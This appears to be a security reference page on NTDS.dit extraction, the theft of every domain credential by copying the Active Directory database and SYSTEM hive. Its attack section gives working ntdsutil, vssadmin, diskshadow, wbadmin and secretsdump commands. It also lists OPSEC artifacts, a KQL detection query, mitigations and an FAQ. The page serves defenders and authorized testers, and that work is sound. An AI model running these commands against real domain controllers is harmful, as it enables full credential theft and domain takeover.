How it works
Every writable domain controller stores the directory in one database file, %SystemRoot%\NTDS\ntds.dit. The file holds every object in the domain and, for every account, the NT hash, the Kerberos keys and the password history. Those secrets are encrypted with a key that is unlocked by the boot key in the SYSTEM registry hive of the same server. Anyone who has both files can decrypt everything offline. The SAM hive adds the local Directory Services Restore Mode (DSRM) account, and the SECURITY hive adds LSA secrets such as the domain controller's own machine account password.
Active Directory keeps ntds.dit open and locked, so it can't simply be copied. The attack uses the mechanisms Windows provides for backing up an open database, or avoids the running server entirely:
- Install-from-media (IFM).
ntdsutilcreates the media used to promote a new domain controller: a consistent copy ofntds.ditplus the SYSTEM and SECURITY hives, written to a folder. - Volume shadow copy. The Volume Shadow Copy Service takes a point-in-time snapshot of the volume. Files in the snapshot aren't locked.
vssadminanddiskshadoware the built-in requesters. - System state backup. Windows Server Backup (
wbadmin) captures the system state, which on a domain controller includes the directory database and the registry. - Raw copy. Reading the file through backup semantics or by parsing the NTFS volume directly, which bypasses the lock and the file's permissions.
- Copies that already exist. Backup repositories, VM snapshots, virtual disk files on a hypervisor or storage array, replicas at a second site and offline media all contain the same two files. Access to them doesn't touch the domain controller at all.
The last group is the reason this is more than a post-exploitation step. A backup administrator, a virtualization administrator or anyone who can read the backup share holds the same power as a Domain Admin, and none of their access is recorded on the domain controller. A read-only domain controller is the exception: its database only holds the secrets its password replication policy allows it to cache.
Compared with DCSync, no replication rights are needed and no replication request is made. The price is that the attacker must get code execution on a domain controller or access to its storage.
Prerequisites
One of the following:
- Local administrator on a domain controller (Domain Admins, Enterprise Admins, built-in Administrators).
- Membership in Backup Operators or Server Operators, which can back up files on domain controllers. See Backup Operators abuse.
- Read access to a system state or full backup of a domain controller, in a backup product, a file share or cloud storage, together with the means to decrypt it if it is encrypted.
- Administrative access to the hypervisor or storage that holds a virtualized domain controller's disks or snapshots.
- Physical access to a domain controller or to backup media without disk encryption.
And a way to move a file of several hundred megabytes to several gigabytes off the server.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Copy the database from a running domain controller
Install-from-media with ntdsutil. One command, run elevated on the domain controller:
ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Temp\ifm" quit quit
The output folder contains Active Directory\ntds.dit and registry\SYSTEM and registry\SECURITY. On Windows Server 2012 and later, create full nodefrag skips the offline defragmentation and is faster.
Volume shadow copy with vssadmin.
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Windows\Temp\n.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Windows\Temp\s.hiv
vssadmin delete shadows /for=C: /shadow={00000000-0000-0000-0000-000000000000}
vssadmin create shadow prints the shadow copy ID and the device name to use in the copy commands.
Volume shadow copy with diskshadow. A script file drives it without an interactive prompt, which suits a member of Backup Operators working in a remote shell:
set context persistent nowriters
add volume c: alias ntdsvol
create
expose %ntdsvol% z:
diskshadow -s C:\Windows\Temp\shadow.txt
robocopy /b Z:\Windows\NTDS C:\Windows\Temp\out ntds.dit
reg save HKLM\SYSTEM C:\Windows\Temp\out\SYSTEM
robocopy /b copies in backup mode, so the backup privilege is used instead of the file's permissions.
System state backup with wbadmin. Backup Operators and Administrators can run it:
wbadmin start systemstatebackup -backupTarget:E: -quiet
The backup is written as a virtual disk under WindowsImageBackup on the target. Mount it on another machine and copy the two files out.
Remotely with Impacket. With administrator credentials, secretsdump.py creates the shadow copy, pulls the files and parses them in one step:
secretsdump.py -use-vss -exec-method smbexec 'corp.example.com/Administrator@192.0.2.10'
2. Or take a copy that already exists
- Backup repository. Restore the domain controller's system state or the two files to an alternate location with the backup product's own restore function, or copy the backup files from the repository share.
- Virtual machine. Take a snapshot or checkpoint of the domain controller VM, or copy its virtual disk from the datastore, and mount the disk read-only on another machine.
- Old IFM folders and backups left on file servers. Search shares for
ntds.dit.
3. Extract the hashes offline
# Impacket: all accounts, with Kerberos keys; add -history for previous passwords
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL -outputfile corp
secretsdump.py -ntds ntds.dit -system SYSTEM -history -just-dc-ntlm LOCAL
# DSInternals
$key = Get-BootKey -SystemHiveFilePath 'C:\ifm\registry\SYSTEM'
Get-ADDBAccount -All -DatabasePath 'C:\ifm\Active Directory\ntds.dit' -BootKey $key
Get-ADDBAccount -SamAccountName krbtgt -DatabasePath 'C:\ifm\Active Directory\ntds.dit' -BootKey $key
4. Use the secrets
The krbtgt key forges Golden Tickets. Any NT hash works for Pass the Hash, and the whole set goes to offline password cracking to recover cleartext passwords that users reuse elsewhere.
Impact
This is complete credential theft for the domain as of the moment the copy was made:
- The krbtgt key, which signs every Kerberos ticket, until it is reset twice.
- The NT hash and Kerberos keys of every user, computer, service and trust account, and password history that shows how each user builds passwords.
- The DSRM administrator hash from the SAM hive (DSRM persistence).
- The domain DPAPI backup keys, which are stored as directory secrets and decrypt users' DPAPI-protected data (DPAPI backup key theft). Microsoft documents no supported way to rotate them.
An old copy stays valuable. Service accounts, krbtgt and trust passwords often outlive the backup retention period, and the database contains the full directory structure for planning further attacks.
OPSEC and artifacts
- Built-in tools. Operators use
ntdsutil,vssadmin,diskshadowandwbadminbecause they are signed Windows binaries. With process creation auditing and command lines, event 4688 still recordsntdsutilwithifm,vssadmin create shadowand any command line that namesntds.dit. - Renaming the output. Copying to
n.ditavoids file name matches when the file is later moved. The creation of the shadow copy and the read fromHarddiskVolumeShadowCopyremain. - Deleting the shadow copy removes the snapshot, not the Volume Shadow Copy service events in the System and Application logs, and the deletion is one more command line.
- IFM and the database engine.
ntdsutilIFM and snapshot operations make the ESENT database engine write events to the Application log on the domain controller. - wbadmin writes to the Microsoft-Windows-Backup operational log (backup started, backup finished) and leaves a
WindowsImageBackupfolder. - Moving the file. A multi-gigabyte file leaves the domain controller. Over SMB, event 5145 records the share and the relative file name where detailed file share auditing is on.
- Raw volume reads avoid VSS entirely and leave only the process and its handle to the volume, which endpoint telemetry may or may not record.
- Copies taken from backups, snapshots or datastores leave nothing on the domain controller. The evidence is in the backup product's job log, the hypervisor's audit log and the storage access log, if those are collected. This is the quietest path and the hardest to rule out afterwards.
- Offline extraction leaves no trace in the domain. The first visible sign may be the use of the stolen hashes.
Detection
On the domain controller, the NTDS.dit extraction rules cover three signals:
- ntdsutil creating install-from-media output: event 4688, process
ntdsutil.exe, command line containingifm. - Shadow copy creation or a command line that names the database:
vssadmin.exewithcreate shadow, or any process whose command line containsntds.dit. - The file read over the network: event 5145 with a relative target name ending in
ntds.dit.
// Commands on domain controllers that copy the directory database or create a shadow copy
SecurityEvent
| where EventID == 4688
| where Computer startswith "DC"
| where CommandLine has "ntds.dit"
or (NewProcessName endswith @"\ntdsutil.exe" and CommandLine has "ifm")
or (NewProcessName endswith @"\vssadmin.exe" and CommandLine has "create shadow")
or NewProcessName endswith @"\diskshadow.exe"
or (NewProcessName endswith @"\wbadmin.exe" and CommandLine has "systemstatebackup")
| project TimeGenerated, Computer, Account, NewProcessName, CommandLine, ParentProcessName
| order by TimeGenerated desc
The command line is only recorded when "Include command line in process creation events" is enabled. Backup software and planned domain controller promotions run the same commands, so compare each hit with the backup schedule and change records.
Beyond the domain controller:
- Sessions by backup-capable accounts. Event 4624 and 4672 on domain controllers for members of Backup Operators and Server Operators, which should be rare.
- Backup product logs. Restores of a domain controller to an alternate location, copy jobs to a new repository, and exports outside a change window.
- Hypervisor logs. Snapshot, clone, export and disk download operations on domain controller VMs.
- Storage access logs on backup repositories: event 5140 and 5145 on Windows repositories, object read logs on cloud storage.
Mitigation
- Treat every copy of a domain controller as Tier 0. Backup servers, backup service accounts, repositories, hypervisors and storage that hold writable domain controllers need the same administrative tier, the same people and the same monitoring as the domain controllers themselves.
- Keep Backup Operators and Server Operators empty. Use a dedicated backup agent identity that can only back up, to a fixed destination. The Active Directory hardening guide covers the built-in operator groups.
- Encrypt backups and separate the keys. The person who can read the backup storage shouldn't be able to decrypt it, and restores to alternate locations should need a second approval.
- Limit who can sign in to domain controllers and remove tools and roles that don't belong there. Nobody should run a browser or a file share on a domain controller.
- Encrypt domain controller disks, virtual and physical, so that a copied disk file or stolen drive isn't readable on its own.
- Use read-only domain controllers at sites with weak physical security; they only cache the passwords their policy allows.
- Audit process creation with command lines and detailed file share access on domain controllers, as described in the audit policy guide, and collect backup, hypervisor and storage logs.
- After a confirmed or likely exposure, reset krbtgt twice with the krbtgt password reset guide, then privileged, service, trust and DSRM passwords. Find and delete old IFM folders and stray backups.
Detection rules for this attack
Log events to collect
FAQ
What is the difference between NTDS.dit extraction and DCSync?
Both end with every hash in the domain. DCSync asks a domain controller to replicate secrets over the network and needs replication rights in the directory. NTDS.dit extraction copies the database file itself and needs access to the domain controller's disk, or to any copy of that disk: a backup, a snapshot, a virtual disk. The file copy produces no replication events.
Why does an attacker need the SYSTEM hive as well as NTDS.dit?
The secrets in NTDS.dit are encrypted with a key that is itself protected by the boot key, and the boot key is stored in the SYSTEM registry hive of the same domain controller. With both files the hashes can be decrypted on any machine. Install-from-media output and system state backups contain both.
Can Backup Operators extract NTDS.dit?
Yes. On a domain controller, members of Backup Operators can sign in locally and back up files regardless of the permissions on them, which includes the directory database and the registry hives. That is why the group is treated as Tier 0.
What should be done when a copy of NTDS.dit may have left the organization?
Assume every credential in the domain at the time of the copy is known. Reset the krbtgt password twice, reset privileged, service and trust account passwords, set a new DSRM password, and plan user password resets. The domain DPAPI backup keys can't be rotated in place, so data protected with them stays exposed.
References
- OS Credential Dumping: NTDS, T1003.003 (MITRE ATT&CK)
- Volume Shadow Copy Service (Microsoft Learn)
- Ntdsutil.exe Install from Media changes (Microsoft Learn)
- AD Forest Recovery: Back up the system state data (Microsoft Learn)
- Active Directory security groups: Backup Operators (Microsoft Learn)
- Get-ADDBAccount (DSInternals)
- AD Forest Recovery: Reset the krbtgt password (Microsoft Learn)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.